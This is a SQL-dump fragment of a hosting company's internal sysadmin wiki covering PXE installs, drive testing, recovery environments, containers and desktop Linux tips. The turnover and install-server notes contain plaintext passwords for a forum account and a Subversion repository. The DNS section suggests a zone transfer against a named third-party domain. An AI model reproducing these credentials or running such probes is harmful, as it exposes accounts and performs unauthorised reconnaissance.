need to the above came from the arduino forum here '),(246,'ethtool interface tweaking',' ethtool allows for various characteristics of the network interface to be modified it is also capable of providing a high degree of information about the interface and in some cases can even flash the firmware dropped scp rsync issues dropped scp rsync issues dropped scp rsync issues this appears to be most common on debian boxes the symptoms are that when transferring files via scp the connection is interrupted with an error such as mystuff tar gz 57 1773mb 11 1mb s 01 56 etareceived disconnect from 118 115 74 10 2 corrupted mac on input lost connection this can be remedied by tweaking the tcp offload with blah backup# ethtool -k eth0 rx off blah backup# ethtool -k eth0 tx off blah backup# ethtool -k eth0 tso off these can be added to rc local to run at boot time more info can be found at '),(247,'graphical debugging tools',' there are a number of different graphical front ends for gdb here are some links for some of the most popular graphical debugging tools graphical debugging tools graphical debugging tools curses mode for gdb you can also go into tui text user interface mode while in gdb by using the \'-\' command returning to the command prompt is ctrl-x ctrl-a while in tui mode up down left and right move through the source use ctrl-p ctrl-n ctrl-f and ctrl-b to navigate in the command line history ddd gnu ddd is a graphical front-end for command-line debuggers such as gdb dbx wdb ladebug jdb xdb the perl debugger the bash debugger bashdb the gnu make debugger remake or the python debugger pydb besides usual front-end features such as viewing source texts ddd has become famous through its interactive graphical data display where data structures are displayed as graphs beginning tutorial for ddd eclipse cdt debugging kde kdbg - kde debug interface for kde seprate from the entire kdevelope suite insight gdb graphical front end red hat cygnus systems project gps gdb under windows visual studio '),(248,'sago turnover notes',' scroll right scientia perscribo posteri knowledge written for those who follow or ytmnd here are notes of various servers and areas which i have principally overseen while here at sago many of these areas are fully documented elsewhere on this wiki and links to such are given where appropriate this is a quick stop index of these as as all providing additional information where appropriate smart test smart test smart test the bash script we use to test drives with is fairly self explanatory however additional information the the database server which holds the results of tests run may be found at smart_testing_script_and_database the script can be improved we need to define better thresholds of acceptability for scsi and sas drives these store information very differently from the smart attributes of pata sata drives the sdparm utility can provide extensive information on scsi sas drives and this is fruitful field from investigation the existing script can easily be modified to include analysing data for these types of drives pxe cobbler kickstart sago mirrors pxe cobbler kickstart sago mirrors pxe cobbler kickstart sago mirrors everything you could ever want to know is fully documented in the following articles you lucky dog pxe_explanation install_network_servers cobbler_pxe_install_manager ocs ocs ocs ocs itself and the ocs inventory agent are well documented at ocsng_inventory_management this script which detects the os and runs the appropriate install steps to set up ocs on a server also contains many notes on how ocs functions note that each machine checks in with the ocs database once per day if for some reason anything ever happens to the ocs database server a new one need only be set up and it will be repopulated with information each day as servers check in again the ocs database often builds up many duplicate entries for example when the hostname is change a duplicate entry with the same ip is created thus it is wise to go through it periodically and merge the duplicates for most distros we use rpm versions or versions from the distro distro\'s repositories whenever possible fedora and ubuntu have the newer versions in their repos and are thus extremely easy to set up and the install script takes advantage of this building standalone ocs binary centos 4 x one key thing to know is that for centos 4 x we use a specially compiled standalone binary version of the agent ocsinventory-agent bin which is about 4 mb in size this is needed due to cpanel cpanel\'s changes to perl modules affecting the agent and preventing it from running the compiled version includes all the perl dependencies build in this same compiled version may come in handy in other similar instances as well making a compiled version is outlined on ocs forums and wiki but is not the easiest of tasks in fact the last reference discourages it in our case this was required should you ever need to build another you can reference the bash history for the first and second runs i made doing so you may also troll the forums for standalone binary please note that ocsng_unix_agent-1 02 tar gz unpacks as ocsinventory-agent-1 0 1 note the version change the magic standalone sh script that builds the stand alone binary is in the tools directory and note that not all rpm version contain this directory you may need to get a specific version from remoi remoi\'s repository described later see the above bash histories for more information on how to build the thread on the ocs forum containing my posts when i originally worked out the ocs installer script can be found here my posts were under the name lewstherin pw xjbtiwii there were definitely some finer points on the various versions of ocs some of which did not include etc sysconfig ocsinventory-agent and etc cron hourly ocsinventory-agent config files and tools directory and which were not conducive to use in a kickstart environment remi a primary developer of ocs maintains his own repo which i used to get the proper versions i needed he was very helpful information on his repo can be found here rip linux recover environment rip linux recover environment rip linux recover environment the sago recovery environment is extremely useful it is installed as part of the kickstart install process or may be installed after the specific part of ks which installs this tools is contained in the post_c5 2 php script and the content for this tools is located here if you ever need to modify rip to add options to it etc you can follow the same steps as are used in the ks sagonet com recovery make-recovery-linux sh make-recovery-linux sh script to install the environment on a server which does not have it or reinstall on on one which does simply run this script which will download and rebuild it for you all automatically note this script is copied into root on all new installs when run it sets the ip address and root password to whatever the current ones are on the server to update the root password in rip simply run the install script again the older version rip did not support the drive controllers on the amd boards and some nics the current version does you can upgrade any old versions by simply re-running the installer script in root which will pull the new kernel and initrd and rebuild them then just ensure grub is configured to load the new version and you are set also note the alt-f8 hack is alt-f10 in the recovery environment there is a ton of untapped potential in this tool it has x vnc capabilities etc we can take a lot more advantage of this by directing customers to use this more the bug on this was the ease of getting customers into and out of it once you set grub to boot into rip how do they easily reboot into centos the answer to this is that grub can support a boot-once feature which resolves this splendidly however the packaged grub version used in centos lacks this feature one suggestion is to simply make our own grub rpm and replace the packaged one with ours after the install is complete oh for want of time i\'ve wanted to do this for a year how sour sweet music is when time is broke an no proportion kept phoronix benchmark suite phoronix benchmark suite phoronix benchmark suite we compiled benchmarks on several of our performance servers using phoronix the results of which can be viewed at the sago on-line benchmark pages here i benched most of the performance servers and the dual core amds and bargain xeons the newer amds and dell 1950s r200s etc have not been done you can direct inquiries about server performance to the public facing knowledge base article and our internal wiki article linux_benchmarking_tools has a bit more info as well as the logins for our phoronix account and forums there is a lot more we can do this this and a much improved newer version of phoronix has been released sago labs sago labs sago labs kyle and i set up our personal blogs to have specific categories that we would make posts to regarding interesting public information topics kyle then put a planet aggregator script on the sago web server that would pull the articles from our rss feeds and compile them into labs sagonet com unfortunatly when the sago webserver was migrated to its new home this was broken and the script was not copied over to the new server thus labs sagonet com is not being updated with newer content it would be great to see this revived and should not take much to reimplement then guys who wanted to publish to labs would simply need to add their rss links into the script and their articles would automatically show up on the labs site as they did subversion subversion subversion i have set up a subversion server for all sago techs to use this allows us to have a central place where we can collect together the various scripts and tools we use and work together on it also provides full version control we we always have all prior versions of these scripts etc what a novel idea eh so far it just contains a folder structure and the most recent version of the smarttest script so you can see how it works the idea is to make this the place to find get keep and maintain the many different tools we have currently these live in many places are not really backed up and have no version control you can see the problem one nice thing is that you can look at the source code of any script in the repository in your browser so if you want to learn how certain scripts work then you can just have a look it is a great way to learn use firefox as ie ignores the proper handling of content type plain-text in documents and tries to render them anyway for example if you wanted to look at the source code for the smarttest script it is here you can easily checkout scripts to use them edit them etc it is very simple to do you can also make changes to scripts to modify them and then commit the changed version into the repository here is a cheat sheet on using subversion commands try it check out trunk onto your work station svn co yes it it\'s really that easy sudo apt-get install subversion if needed now - if you want to be like me and take the super duper easy way to use this to its fullest you might consider installing the eclipse development environment you can then very easily install the subclipse plug in which seamlessly integrates using subversion with eclipse - you can do visual diffs between revisions etc it is very very slick eclipse php development tool - i recommend you just get this version subclipse plugin actually you just need to add this url to the install software from box in eclipse if you need any help getting eclipse with subclipse working please just let me know if you have any scripts you want added just email them to me or give me a url to wget from if you have any questions please let me know happy version control commit credentials lustre lustre lustre openmanage impi impi impi abuse tickets compromised server compromised server compromised server high server loads whenever possible i refer customer to this article to both encourage them to take actions themselves to investigate and resolve high load issues this lessens our support costs too there are several tools in this article and usually they will help isolate the primary causes of high load my web pages are coming up slow tools i have found very helpful in really digging into this are the apache benchmark ab program there are other as well httperf etc which are well described here you can also look at seige for benching stress testing apache domain ssl renewals domain ssl renewals domain ssl renewals dns troubleshooting dnsstuff com our account running a dns report here can identify a good number of common configuration issues dns training last year former sago linux master kyle disciple of the order of the holy penguin conducted a dns training session with everyone while we did not make a screen cast kyle had the foresight to save the audio of the conference call and the bash history of the commands we went over etc the training covers dns basics the types of dns servers different types of dns records and how to use dig and other dns commands i highly recommend listening to this especially for the newer guys prior to this training we had techs listen to this podcast to get some general intro do dns transcript at you can find then find the audio and bash history for kyle kyle\'s training at follow along and try the steps as kyle talks about them you can pause the audio and play around with digging other sites too etc there are a few sites that will respond differently now especially on the last steps regarding zone transfers however i do see that this one still allows this dig ns1 aimsniff com aimsniff com axfr dns is good stuff and while this training is just the start it will certainly get you oriented in the right direction other great sources of dns information are above are two good complete online books on dns i also found the following site to have some nifty tools it also has a cool section on tracing ttl lastly i found this site and the section on understanding caching which explains how to find out if a caching resolver already has a record for a domain before you ask it to be handy sago dns cluster subversion so i noticed that svn on our dns server was not really showing the log correctly so if you wanted to look at the last comments made when people committed by running dns-reload you couldn\'t find the comments - it only showed the first 46 revisions a year out of date bad if you specified the range explicitly you could see the comments like bash-3 2# svn log -r 90 101 less but that that\'s not very handy at all as you need to know the range i researched it and it turns out that this is just due to an out of date working copy and you can fix it with #svn update this has to be done per directory so if you are in var named chroot var named sago and are trying to see the last comments and it only shows ancient ones just run svn update and then svn log will show all of them i found the solution albeit a bit confusing at i\'d still like to get the named svn apache interface working to make this easy for guys - but it actually is being a pain not sure why i tried to fix it once and failed and never got back it it i might take another shot at some point but at least it works this way for now so we can actually see the comments '),(249,'install network servers',' for a general outline of how pxe and the install network works see pxe_explanation more info on cobbler can be found cobbler_pxe_install_manager design outline design outline design outline four servers are used together to perform our installs each server has distinct roles to troubleshoot issues you have to identify exactly which step in the process is at fault and identify the server that handles this function see the pxe_explanation article for full info install-gw tpa sagonet net install-gw tpa sagonet net install-gw tpa sagonet net primary only dhcp server old pxe server samba exports need to be on for old pxe runs the pxe sagonet com chooser page var www pxe passes you off to old or new pxe server as next-hop server ultrapro runs from here only needs investigated more windows ghost images are on here replace with a new opsi server cobbler sagonet com cobbler sagonet com cobbler sagonet com dell 750 2 500gb drive in raid 1 for all newer installs debian brodcom nic issue usually simple holds a kernel and initrd file which then point to ks sagonet com and use or mirrors very little thus needs installed when a new version comes out when you want to reference the repo of a previous version centos 5 2 4 x do not use our mirrors as old content will no longer be there when we roll up to a new release instead use the centos archive mirror for example previously had an nfs export for using acronis to store images could be set up again holds the sago subversion repo at commit creds etc subversion pwd are sago subv3rs1on maybe etc httpd conf d subversion conf ks sagonet com ks sagonet com ks sagonet com hold ks scripts which perform install setup and reference our mirrors ks sagonet com has key for ks string txt versions of php scripts can be found using ks sagonet com index txt or post_c5 2 txt or anaconda txt etc holds ks sagonet com tools which contains good stuff hold the base image for rip which is re-compiled into our recovery environment centos-mirror tpa sagonet net centos-mirror tpa sagonet net centos-mirror tpa sagonet net generic 2u with 4 500gb raid 5 as dev md0 1 4tb total holds local mirrors for various distros used for installs cron jobs runs rsync to update content apache configured to allow browsing of some not all repos for example that is very handy for just wgetting most recent packages from '),(250,'pxe explanation',' pxe documentation also see cobbler_pxe_install_manager and install_network_servers which describes the specific functions each server performs note do not under any circumstance make any changes to any server involved in our pxe network infrastructure without first getting with an admin these include install-gw sagonet com ks sagonet com centos-mirror tpa sagonet net and cobbler sagonet com install network boot steps install network boot steps install network boot steps 1 the client gets a dhcp address from install-gw tpa sagonet net dhcp uses port 67 udp dora process steps can be monitored with root install-gw # grep -i dhcp var log messages 2 the dhcp lease includes the next-hop server which one is sent is controlled by pxe sagonet com which adjusts this value as necessary by changing it in the dhcp config note adding more pxe servers simply requires adding more options to this page apache is set to be able to run commands necessary to perform this reconfig 3 a tftp request is sent to the next-hop server requesting the pxelinux cfg file this is stored in tftpboot on the installgw or cobbler servers 4 the client receives the pxelinux cfg default file and the pxe menu is displayed 5 user selects what os to install - e g centos when selecting the the os in cobbler it also specifies a kernel boot ks argument 7 the selected kernel and initrd load the ks argument is passed to the kernel which directs the kernel to get a kickstart file from ks sagonet com 8 the series of colon separated values is passed to index php in the ks argument this is is expanded into and array and then assigned into individual variables which are used to dynamically created the ks file 9 anaconda installer runs reading the created ks file options when it goes to pull packages it gets them from our local centos-mirror tpa sagonet net which greatly speeds up the install process 10 after base install postc5 2 php is called by kickstart which adds the recovery environment installs ocs adds support hack modifies packages and sets permissions pxe php installs scripts to better understand the pxe scripts and process you can look at these files which are just txt symlinks to the actual php scripts index php dynamically creates a ks file and calls anaconda php which does partitioning etc for example feed it this and see primarily creates drive partition schemes based on user selection directory of ks scripts for different distros troubleshooting troubleshooting troubleshooting no ip address watch var log messages on the installgw for dhcp and tftp server information and errors here you will see the dhcp lease discovery offer request and acknowledge dora packets as well as tftp server messages if you don\'t get an ip then verify your etc dhcpd conf file is correct ensure firewall is disabeld and ensure the port is open and services are listenting root install-gw # netstat -tuple udp 0 0 bootps root 645503 6607 dhcpd udp 0 0 tftp root 7356 4112 xinetd root cobbler # netstat -tuple udp 0 0 tftp root 6362 2202 xinetd note tftp is controlled through xinitd in etc xinetd d tftp not as a standalone service get an ip but no pxe menu if you get an ip address on the client but a message that the configuration file can not be found then verify permissions on the tftp or tftpboot folder and sub folders are correct they should be 755 minimum otherwise the tftp server may not be able to traverse directories to get to the default file to server typically tftpboot pxelinux cfg default get the cobbler menu but can\'t reach mirrors make sure ip forwarding and masquarading is enabled on the installgw check iptables at pxe sagonet com additional info on new vs old pxe additional info on new vs old pxe additional info on new vs old pxe new pxe setup the new system does not use dos at all you do have to understand how the ks file gets generated however as there currently is no menu or web page that creates the magic pxe string which looks something like c52 sda cpnl 10 20 30 40 02 # the tech selects which pxe network to boot from by going to pxe sagonet com # the server does a dhcp request on our private install network 192 168 42 0 # the server is directed to the appropriate pxe server and retrieves the boot image from the server selected in step 1 ## if you booted to cobbler you are presented with a pxe menu with profiles to choose from to install ## these profiles can be added edited at ## the ks file can be one saved on the cobbler server or you can point cobbler to ks sagonet com ## if you point cobbler to ks sagonet com the ks php script will dynamically create a ks file based on the string you must supply it for example you tell cobbler to use and you may go to this page in your browser to preview what ks will be used paste it into cobbler etc ## through these tools you can actually create a customer ks file and deploy it easily original pxe setup here is how the proccess of pxe boot works # the server does a dhcp request on our private install network 192 168 42 0 # the install server responds with a dhcp lease and also gives it a tftpboot image via tftp tftproot # your server takes this image and runs it as if it were a boot disk ## the boot disk that we are currently using is a modified dos boot disk formerly we had usb keychains ## the computer now runs its own dhcp request it has no notion of the dhcp that the bios did ## this boot disk mounts a samba share on the install server as p ## then it runs the pxe boot menu scripts in p menu pxemenu lst ### all of these scripts from here p are on the install-gw server under shared pxe ## if your install is a windows one it will mount a z for ghost images shared ghost on the server ## this is r w for the loading and saving of images ## if your server is linux it will loadlin and linux image with the option of ks ks sagonet com ks php ### these options are fed to the php script which generates a custom kickstart per your specifications in the boot menu ### this ks php is on centos sagonet com which is also our local yum mirror '),(251,'sago recovery environment',' sago recovery environment this is based on rip 8 2 and simply included the customers etc shadow it places a kernel and customized initrd in boot and adds an entry to grub this effectively replaces needing a live cd in nearly all instances rip linux also includes x firefox etc and is great if you need to set up a workstation in minutes with a browser as an additional ubersmith wokstation etc sago recovery environment should now work on the amds amds installed with versions prior to 7 5 don\'t work as it is missing the sata drivers for those if needed - update the recovery environment by #wget ks sagonet com recovery make-recovery-linux sh execute with 2 args ip and gateway like this # make-recovery-linux sh 66 118 10 12 66 118 10 1 the script is normally placed in root during the install but if needed you can wget it again this will update the recovery environment to the new version and set root password to whatever the current root password is it just copies over etc shadow and makes the recovery environment the same so client can log in using whatever credentials they normally use this same procedure can be done any time the recovery environment needs to be updated or install on any box not just the amds like when the original install pw is not known etc '),(252,'smart test',' testing ide sata hds using smart note it is best to run a full write erase on the drive prior to testing it with this script unless the entire platter is written to it is impossible to know for certain the true health of the drive therefor before running smarttest sh run dban or another full drive erase method also please note that this works on single non-raid drives it works best on pata sata and does work on scsi too though the results are interpreted differently further information on smartctl and interpretation of smart data can be found at smart drive diagnostics more information on how the results from the testing script are stored in the results database and web server see smart database use a server that you know is good ram ide sata controllers and pxe boot must be working this is very important since we do not want any false positives connect one hd to the primary master ide sata controller start with one hd at a time once you get used to testing then you can move on and start testing two at a time one on the primary controller and one on the secondary using pxe boot login to a linux live environment login as root no password is needed in the prompt type -dhcpcd -this will set your networking for dhcp download the script wget run it -bash smarttest dev hda for ide -bash smarttest dev sda for sata this test will spill out the following information -hours -errors -reallocated sectors -pending sectors -speed interpreting the results after you complete the test create a label with the hours serial pending reallocated sectors and the date of the test onto the drive this way we will know on sight if we should or should not use a drive and whether or not it should be the primary or secondary drive good enough for primary hd -drive has to have under 20000 hours -0 errors -0 reallocated sectors -0 pending sectors -faster than 45 mb s sata or 35 mb sec pata good enough for secondary hd this is a little more complicated and requires some investigation by the technician -drive under 40000 hours -up to about 5 errors -up to about 5 reallocated sectors -0 pending sectors -faster than 35 mb s sata or 25 mb sec pata the reason we need to interpret these results is because the smart errors reallocated sectors might have happened a long time ago and might not be relevant any longer for example there was a brand new 750 gb hd and it said 17 smart errors however they all occurred when the drive was first turned on and then never again this would be a perfect secondary hd if you find a drive that is hard to diagnose ask someone and we can find a solution together if you ever see something with a ridiculous number then it it\'s pretty safe to say that the drive is bad for example 300 smart errors 15 reallocated or 15 pending sectors is way too many '),(253,'cluster design requierments',' ticket #207518 - need advanced server is an example of a cluster request this article is written to broadly address providing cluster solutions and the above is merely an example when customers start saying things like i need a cluster to host my monster sites on cuz they iz so busy it is time to start asking a lot of questions otherwise you will end up with a cluster of a whole different kind ; don\'t get me wrong we can and do provide clustered solutions to clients however it is imperative we do a full requirements definition with the client you will often find out right away that the client honestly has no idea what a cluster really is what it consists of what it helps do what it does not do nor how it is managed what are clusters what are clusters what are clusters a cluster assuredly is not a few cpanel boxes with a load balancer there are usually numerous components a load balancer multiple non-cpanel web servers a shared storage server a shared database server sometimes you then also have a backup version control server a testing development server etc obviously this is getting complicated while apache and other web servers have built-in basic load balancing functionality this assumes that the content is the same on all web servers in the cluster see how that is a problem any site content changes any post to any forum have to happen to all the sites not just one this is why there are shared database and content servers so while setting up apache to load balance a static web site is very easy doing so with real-world applications is far more complicated heck you could flash a home router with dd-wrt and pound plop it in front of four web servers and you have an instantly load balanced cluster of course if you want to change anything you have to change it on four servers etc cpanel does not directly support advanced clustering options it is intended for managing a bunch of sites on one server requirements definition requirements definition requirements definition for all the above reasons it is critical to clarify with the customer what they mean by cluster and what problem they are trying to solve just ask them what problem are you looking at solving with a cluster note that very often they may not need a cluster at all but simply separation of the web and database servers and tuning each one through off loading all the databases onto a separate server and having the other only serve web pages very significant performance can be obtained this also leads into using tools to benchmark webservers ab apachebench siege httpd conf settings monitor mysql servers mytop my conf settings phpmyadmin server stats and analyzing web traffic ntop awstats iptraf apache status etc you need all the data designing a solution designing a solution designing a solution once all the data is collected the requirements defined and the existing websites and traffic analyzed you can know decide if a fully clustered solution or a simple matter of splitting of databases or adding a caching server etc is the best solution a properly tuned database and web server can handle a stunning amount of traffic conversely adding more poorly tuned servers to spew out a crappily designed site serving 1 meg thumbnails and 300 php errors is a bit of a cro magnon approach funny yes - but given the opportunity that is exactly what you will see people asking you to do i hope this helps to clarify what clusters are and how to work out the details of their implementation with customers requesting such by all means define what they need and build them a truly massive rack - - if they need it but know before you go '),(254,'creating a container for customer centos5',' below are the steps to creating a container the order below is what has worked best for me 1 create the device this will be referenced during the container installation per your hardware ticketing system 2 login to with login information below get your own 3 select infrastructure from the left hand menu - under the containers tab select new container 4 creating the container number of containers to create - 1 select hardware node manually - select the hardware node to install on select next the name format should be as shown below os cp-vps i ii or ii -service# ex centos5cpanel-vpsi-service12525 description - order # client id select container sample - basic os template version - os specified by customer type password - use password from ubersmith device select next hostname - use hostname specified by customer if not then put client tpa sagonet com dns server ip address - 66 118 170 2 then hit the icon to add another dns server dns server ip address - 66 118 170 3 ip address - leave default should be then hit the icon to add another ip ip address - select next on the bottom of the page under memory configuration memory management mode - slm resource management cpu parameters - leave default under disk quota diskspace - should be in gb soft and hard limits should be the same diskinodes - use the default and multiply by the diskspace in gb ex if 10gb diskspace then inode default 10 quotaugidlimit - 3000 if a cpanel server leave disabled if not quotatime - leave default ioprio - leave default slmmemorylimit - should be in mb select next if there is an appropriate template for this specific install then select it select next review that settings and make sure everything is correct select create 5 yum needs to be installed under infrastructure containers find the container you just created and select it you might have to refresh the browser select the software tab installed packages install new package search for the yum package and install it 6 verifying updating install ssh into the container run the command # yum -y update run command # df -h run command # top make sure everything is okay 7 if it it\'s a cpanel server open up a screen session run the following commands mkdir home cpins cd home cpins wget sh latest once cpanel install is done run scripts upcp --force 8 go back to the device in ubersmith and make sure all fields are filled in ip address container id ping monitoring you are done with the installation '),(255,'cable suppliers',' samsung serial cable dcables 1198 commerce drive richardson tx 75081 dcables net item dcr003g gold plated 3 5mm stero plug to db9 female w ferrite beads for 9 99 uber cheap hdmi 1 3 cables sf planet cs sfplanet com 2357 ventura dr suite 102 woodbury mn 55125 hdmi 6 foot cable 28 each '),(256,'screen tricks',' tutorials nifty tricks nifty tricks nifty tricks to add a floating clock in your screen session just add this line to etc screenrc caption always b wk -21 d d m y 0c neercs - screen with benefits neercs - screen with benefits neercs - screen with benefits development tool which extends screens functionality purportedly allows you to pull in processes originally started outside of the screen session and also contains other misc bling other ways other ways other ways other ways fairly hackish using retty and some clever shellcoding to move a running process to a new terminal screen include '),(257,'cups-pdf print driver',' need to install a pdf print driver in linux so you can print to a pdf file instead of a local printer do you have a pdf form you filled out but it won\'t let you save it install the cups-pdf print driver package and set up the printer in cups and you can thereafter print to pdf from any app in linux from that site see 64-bit os note below 1 go to opensuse software search search for \'cups-pdf\' make sure the proper version of opensuse is selected before you start searching 2 choose the latest version from the results i chose the one from gcoste gcoste\'s home repository but you can choose any other too you can install the rpm by using the 1-click install 3 next we need to add the pdf printer to cups so open up cups administration by clicking this link 4 if cups has already not found the new printer click \'find new printers under the \'printers category cups will have now detected the \'virtual pdf printer\' in the next screen leave the \'make\' section blank fill up the \'provide a ppd file\' section by browsing to \' usr share cups model \' directory and selecting the ppd file that came with the cups-pdf rpm you can find this file by using rpm -ql cups-pdf the file with the ppd extension in the list is the one you require to select here next click the \'add printer\' button and the pdf printer will be added to cups 5 next we need to configure the default directory in which the created pdf files will be stored this is by default \' var spool cups-pdf user \' hence to store the pdf files onto the desktop edit \' etc cups cups-pdf conf\' file change the line #out var spool cups-pdf user to out home user desktop running 64-bit you might need to create a symlink to the cups-pdf binary similar to callandor # ls -ld usr lib64 cups backend cups-pdf -rwx------ 1 root root 27368 feb 2 2009 usr lib64 cups backend cups-pdf callandor # ln -s usr lib64 cups backend cups-pdf usr lib cups backend otherwise the printer will not show up when you go to add it in the cups admin for more info see this post some additional sites printing in bash need to print something in bash and are you getting the error lpr error - no default destination available if you have only installed the pdf printer and have no other print devices you must set the pdf driver to be the default printer in cups at to print to a pdf in bash just pipe the output to lpr you can use the -t flag to name the output file paracelsus callandor ls -l lpr -t blah general linux printing info pdf service menu for kde '),(258,'wacom tablet',' new wacom bamboo pen touch support model 460 patching the linux wacom drivers and turn of the debug messages the patches spew out for the model 450 bamboo syd syd\'s newer packages for wacomlinux suse 11 2 are here and they work fine argh the wacdump utility does not actually work from inside x just run in for a vt and it will work fine you should now be able to move the mouse cursor by hovering the pen a little bit above the tablet if you have to press down the pen to move the cursor it is not working correctly go back to previous sections for troubleshooting pressing the pen down should also allow you to select click&drag things in your window manager if so congrats your pen is correctly installed you can go to next section for some more configuration or directly to the last one to set up gimp correctly hey there i just tested my wife wife\'s wacom bamboo and it appears to work okay with the desktop kernel and the wacom driver from the normal yast repos i did not have to build a new kernel module i played around with this though and also took a stab at builing a new kernel module from the linuxwacom sourceforge net project that was unable to complete the build this is just a dump of what i did really bottom line though is that my bamboo works okay with the desktop kernel and default wacom module if someone else get get\'s past the symver issue building the linuxwacom module please let me know how you did so my environment callandor # uname -r 2 6 31 5-0 1-desktop callandor # modprobe wacom callandor # lsmod grep wacom wacom 25160 0 callandor # modinfo wacom filename lib modules 2 6 31 5-0 1-desktop kernel drivers input tablet wacom ko license gpl description usb wacom graphire and wacom intuos tablet driver author vojtech pavlik license gpl description usb wacom graphire and wacom intuos tablet driver author vojtech pavlik now start udevadm monitor and plug in the wacom callandor # udevadm monitor kernel 1264779975 658774 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 usb kernel 1264779975 663309 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 usb kernel 1264779975 663375 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 input kernel 1264779975 663408 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 mouse1 input kernel 1264779975 663440 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 event3 input udev 1264779975 739282 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 usb udev 1264779975 741597 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 usb kernel 1264779975 895437 add module joydev module udev 1264779975 895504 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 input udev 1264779975 914435 add module joydev module udev 1264779975 975889 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 mouse1 input udev 1264779976 024189 add devices pci0000 00 0000 00 10 0 usb5 5-1 5-1 2 5-1 2 1 0 input input7 event3 input this shows udev connected my tablet to it seems dev input event3 it works the pen moves the pointer etc the following site gave some extra info on detecting and testing the tablet using wacdump on newer 2 6 systems more proc bus input devices gives you jej ayukawa wacom more proc bus input devices i bus 0003 vendor 056a product 0042 version 1 15 n name wacom intuos2 6x8 p phys usb-0000 00 1d 1-2 input0 h handlers event3 b ev 1f b key 1cff 0 1f00ff 0 0 0 0 0 0 0 0 b rel 100 b abs f00017b b msc 1 i downloaded the linuxwacom-0 8 4-4 source and ran install for the prebuilt directory which then let you use wacdump etc on my system then callandor linuxwacom-0 8 4-4 prebuilt # wacdump dev input event3 or callandor linuxwacom-0 8 4-4 prebuilt # wacdump dev input tablet-bamboofun-4x5 model wacom bamboofun 4x5 rom 1 1-3 cls usb vndr wacom dev bamboo sub cte_450 tooltype none serial 0x00000000 in_prox out button 00000 00000 00000 pos_x 00000 00000 14760 pos_y 00000 00000 09225 distance 00000 00000 00063 pressure 00000 00000 00511 abswheel 00000 00000 00071 relwheel 00000 -00001 00001 left middle right extra side touch stylus stylus2 bt0 bt1 bt2 bt3 bt4 bt5 bt6 bt7 bt8 bt9 bt10 bt11 bt12 bt13 bt14 bt15 bt16 bt17 bt18 bt19 bt20 bt21 bt22 bt23 i don\' know why but wacdump does not update the display when you push the pen button or move it on the tablet etc although the pointer moves on the screen and i can use it in gimp etc for fun i decided to try to build the kernel module for the linuxwacom project however the symvers for my kernel although installed do not seem to allow the module to compile this was witten for ubuntu so remove change any reference to gksudo or it won\'t work on suse callandor wacom # python getwacom py -d -c make 2 entering directory root wacom linuxwacom-0 8 5-9 src 2 6 27\' building linuxwacom drivers for 2 6 kernel note drivers not enabled as modules in your kernel config but requested through configure are not built make -c lib modules 2 6 31 5-0 1-desktop source m root wacom linuxwacom-0 8 5-9 src 2 6 27 make 3 entering directory usr src linux-2 6 31 5-0 1\' warning symbol version dump usr src linux-2 6 31 5-0 1 module symvers is missing; modules will have no dependencies and modversions building modules stage 2 modpost 1 modules so it appears symvers did not like it and it didn\'t build the ko -- so close callandor wacom # modinfo linuxwacom-0 8 5-9 src 2 6 27 wacom o filename linuxwacom-0 8 5-9 src 2 6 27 wacom o license gpl description usb wacom tablet driver author vojtech pavlik license gpl description usb wacom tablet driver author vojtech pavlik callandor usr src linux # make scripts fixed the missing modpost error callandor usr src linux-2 6 31 5-0 1 # make -c lib modules 2 6 31 5-0 1-desktop source m root wacom linuxwacom-0 8 5-9 src 2 6 27 make entering directory usr src linux-2 6 31 5-0 1\' warning symbol version dump usr src linux-2 6 31 5-0 1 module symvers is missing; modules will have no dependencies and modversions building modules stage 2 modpost 0 modules bin sh scripts mod modpost no such file or directory make 1 __modpost error 127 make modules error 2 make leaving directory usr src linux-2 6 31 5-0 1\' '),(259,'gifts for people',' kyle sun fire x4540 storage server syd syd syd '),(260,'dlna and mediatomb',' configuring mediatomb here are some links on configuring mediatomb for mediatomb streaming to ps3 and transcoding edits to config xml and and and the gentoo wiki page here other transcoding links other links projects available good comparison of various dlna and upnp media servers my working transcoding mediatomb mediatomb config xml file xml version 1 0 encoding utf-8 -- this config file is from -- 49153 mediatomb uuid ca39658b-8187-45c5-aca2-bb91151935cb -- var lib mediatomb -- home paracelsus mediatomb usr share mediatomb web sqlite3 db localhost 3006 mediatomb -- mediatomb -- mediatomb -- ps3 requires yes -- usr share mediatomb js common js usr share mediatomb js playlists js -- only show pc directory -- usr share mediatomb js import js -- don\'t import anything not listed here since it it\'s pointless -- -- -- -- list images so they get imported -- -- added for ps3 divx support -- -- transcode flash and avi files -- -- -- -- added for ps3 thumbnail support -- audio l16 no yes no -- added for ps3 thumbnail support -- image jpeg yes yes 128x128 -- don\'t transcode newer avi avi\'s which are supported -- dx50 video mpeg yes yes yes my working etc mediatomb conf this is a sambel configuration file for the mediatomb daemon script ## used on fedora core ## by default the configuration will be created in etc mediatomb ## network interface on which the server will run you need to edit this mt_interface wlan0 ## user defined command line options that may be passed to the server mt_options ## mediatomb will be started on port 50500 mt_port 50500 ## mediatomb will run as mediatomb mt_user mediatomb mt_group mediatomb ## location of the pid file mt_pidfile var run mediatomb pid ## location of the log file mt_logfile var log mediatomb ## location of the config file database mt_home etc mt_cfgdir mediatomb '),(261,'irc - internet relay chat',' why chat i\'ve found on line classes at spc to not be that great of an experience largely due to the complete isolation of students imposed by angel angel really lacks some features to make on line classes really work there are no groupware or collaboration features and amazingly no way to simply chat with other students in the same class with you so much for making on line classes just like being in a classroom often times these classes have quite a few students enrolled dozens chances are that when you are working on your assignments there are at least one or two others doing the same however we are all cut off from each other really spc should work at improving this we all know how lame the discussion boards are they can be okay sometimes if you need help but sometimes chatting is far easier and when you have two or three people talking together about a problem it is more fun to discuss two way dialog can be far easier and faster than message boards one way to implement a way for us to interact more as a class is by using internet relay chat internet relay chat internet relay chat internet relay chat internet relay chat irc is a very old school way to chat on the internet it has been around a very long 